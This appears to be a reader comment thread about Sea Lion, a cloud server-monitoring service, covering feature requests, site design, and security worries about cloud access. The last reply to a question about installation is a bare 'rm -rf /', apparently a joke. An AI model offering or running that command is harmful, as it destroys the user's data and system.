I come from using New Relic for our server monitoring, and there are a couple things that I can see that I already love about Sea Lion, their realtime stats, and ad-hoc commands really opens up to allow any kind of monitoring. I would like to see the ability to rename servers instead of using their hostname.. as well as multiple stats on the page at once.. Other than that, this is really awesome! Considering going on…

Is there an equivalent of New Relics application performance monitoring? For example the view of time spent in script, DB, memcache, external, etc all in a stacked line graph?

What's wrong with Linux geeks looking at well designed websites?

I'm a UNIX geek and I too love "well designed websites" - and imho that site isn't a well designed website. The majority of us are probably using a touchpad on our laptops and the scrolling thing is just horrible in that case. The target customer will expect easily laid out information (as this is a web-based monitoring service) and if they see this "at the front door" then they'll run a mile.

I've got two problems here. 1) Cloud based. No, no, no, absolutely not, no way, no how. I am not hooking up server farms to the internet. Monitoring systems stay behind the firewall. Please come up with a self-hosted version. Moreso when: 2) They log directly into the system. Unprivileged user or not, if you've got shell on my box, "you" being a random company on the internet, it's not my box anymore. Someone hacks…

What if you're using AWS already? I couldn't find any word on CloudWatch integration.

Just sent you an email, but for anyone else who's wondering the same thing: I'll plug Scalyr, which is a server monitoring service with an option to import CloudWatch metrics. https://www.scalyr.com/solutions/import-cloudwatch

How does this work? Do I need to upload some a file on my server or do any special configuration?

Run the curl command once you sign up. Or, download the tarball and install it manually.

  rm -rf /
